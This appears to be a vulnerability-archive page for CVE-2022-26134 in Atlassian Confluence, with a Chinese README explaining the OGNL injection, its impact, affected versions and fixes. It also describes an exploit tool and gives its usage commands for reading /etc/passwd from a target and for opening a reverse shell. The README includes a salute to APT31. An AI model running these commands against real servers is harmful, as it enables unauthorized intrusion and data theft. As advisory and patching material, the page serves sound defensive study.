Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-26134 PoC — Atlassian Confluence Server 注入漏洞

Source
Associated Vulnerability
Title:Atlassian Confluence Server 注入漏洞 (CVE-2022-26134)
Description:In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are from 1.3.0 before 7.4.17, from 7.13.0 before 7.13.7, from 7.14.0 before 7.14.3, from 7.15.0 before 7.15.2, from 7.16.0 before 7.16.4, from 7.17.0 before 7.17.4, and from 7.18.0 before 7.18.1.
Readme
# CVE-2022-26134-poc

**CVE-2022-26134** 是一个影响 Atlassian Confluence Server 和 Data Center 的 **远程代码执行漏洞(RCE)**,其成因是服务器处理 OGNL 表达式时未能正确过滤输入,从而允许攻击者以特权账户权限执行任意代码。

---

### **漏洞原理**

1. **OGNL 表达式注入**:
   - OGNL (Object-Graph Navigation Language) 是一种 Java 的表达式语言,用于操作 Java 对象的属性。
   - Atlassian Confluence Server 使用 OGNL 处理用户输入,但在某些接口中未能正确验证和过滤用户输入。
   - 攻击者可以通过构造恶意的 OGNL 表达式,在服务端未经授权执行这些表达式。

2. **未授权访问**:
   - 此漏洞的利用不需要认证,任何未登录的攻击者都可以直接发送恶意请求。
   - 一旦服务器解析并执行攻击者注入的 OGNL 表达式,攻击者可以远程执行任意命令或代码。

3. **攻击路径**:
   - 攻击者通常会通过公开的 Confluence 服务接口,发送专门设计的恶意 HTTP 请求。
   - 这些请求可能利用特定的 HTTP 头或参数注入 OGNL 表达式。

---

### **危害**

1. **远程代码执行**:
   - 攻击者可以完全接管受影响的服务器,包括执行任意命令、安装恶意软件、植入后门等。

2. **数据泄露**:
   - 攻击者可以访问服务器上的敏感信息,例如数据库配置、存储的用户数据等。

3. **横向移动**:
   - 在攻击成功后,攻击者可能会利用服务器作为跳板,进一步攻击内网的其他系统。

4. **DDoS 和恶意负载部署**:
   - 攻击者可以利用受害服务器执行分布式拒绝服务攻击(DDoS),或者部署加密挖矿恶意软件。

5. **影响范围广泛**:
   - 由于 Confluence 是一种常用于企业协作的工具,全球大量公司受到影响。
   - 如果服务面向互联网,攻击者可以通过简单扫描发现易受攻击的实例。

---

### **受影响版本**

- Atlassian Confluence Server 和 Data Center:
  - **7.18.0及以下版本**
  - **7.4.17及以下LTS版本**

---

### **修复与缓解措施**

1. **升级软件**:
   - Atlassian 已发布补丁,受影响的用户应尽快升级到以下安全版本:
     - 7.4.17 或更高版本
     - 7.18.1 或更高版本

2. **临时缓解**:
   - 如果无法立即升级,建议限制对 Confluence 服务的访问,例如通过防火墙限制仅可信IP访问。

3. **监控和检测**:
   - 检查服务器日志中是否存在异常请求。
   - 使用安全工具扫描是否已被利用。

4. **删除恶意后门**:
   - 如果发现服务器已被攻陷,应立即隔离系统并检查是否存在植入的恶意代码或后门。

---

### **总结**

CVE-2022-26134 是一个危险性极高的漏洞,尤其因为其无需认证即可利用的特性,可能导致严重的企业数据泄露和服务中断。及时应用安全更新和加强系统监控是应对此类漏洞的关键。


**Through the Wire** 是一个概念验证漏洞利用工具,针对 [CVE-2022-26134] 的漏洞,这是一个影响 Atlassian Confluence Server 和 Data Center(7.13.6 LTS 及更低版本,以及 7.18.0)的 OGNL 注入漏洞。该漏洞曾是被广泛利用的零日漏洞。

### 工具特点

- 提供两种利用方式:
  1. **反向Shell**:通过调用 `bash` 启动,可能更容易被检测。
  2. **文件读取**:直接从内存执行,不易被检测。

- **支持系统**:仅适用于 Linux 版本的 Confluence,不支持 Windows。
- **测试版本**:7.13.6 LTS 和 7.18.0。

---

### 使用示例

#### 读取文件
```bash
python3 through_the_wire.py --rhost <目标IP> --rport <目标端口> --lhost <本地IP> --protocol http:// --read-file /etc/passwd
```

#### 获取Shell
```bash
python3 through_the_wire.py --rhost <目标IP> --rport <目标端口> --lhost <本地IP> --protocol http:// --reverse-shell
```

---

### 说明

1. **反向Shell** 会生成并发送Payload,从目标机器上获取Shell。
2. **文件读取** 示例可以直接读取目标系统的文件内容(如 `/etc/passwd`)。

---

### 致谢

- 向 APT31 致意。
- 灵感来源:Ye([观看视频](https://www.youtube.com/watch?v=AE8y25CcE6s))。

---

### 附加资源

- **示例数据包**:[下载链接](https://github.com/jbaines-r7/through_the_wire/files/8833875/confluence_two_pcap.zip)
- **视频演示**:[点击观看](https://youtu.be/GP9C4D0YNkM)
File Snapshot

[4.0K] /data/pocs/eb620a182d44bd3e32cbe3d7942f28c1aff39dde ├── [ 11K] LICENSE ├── [3.8K] poc.py └── [4.4K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →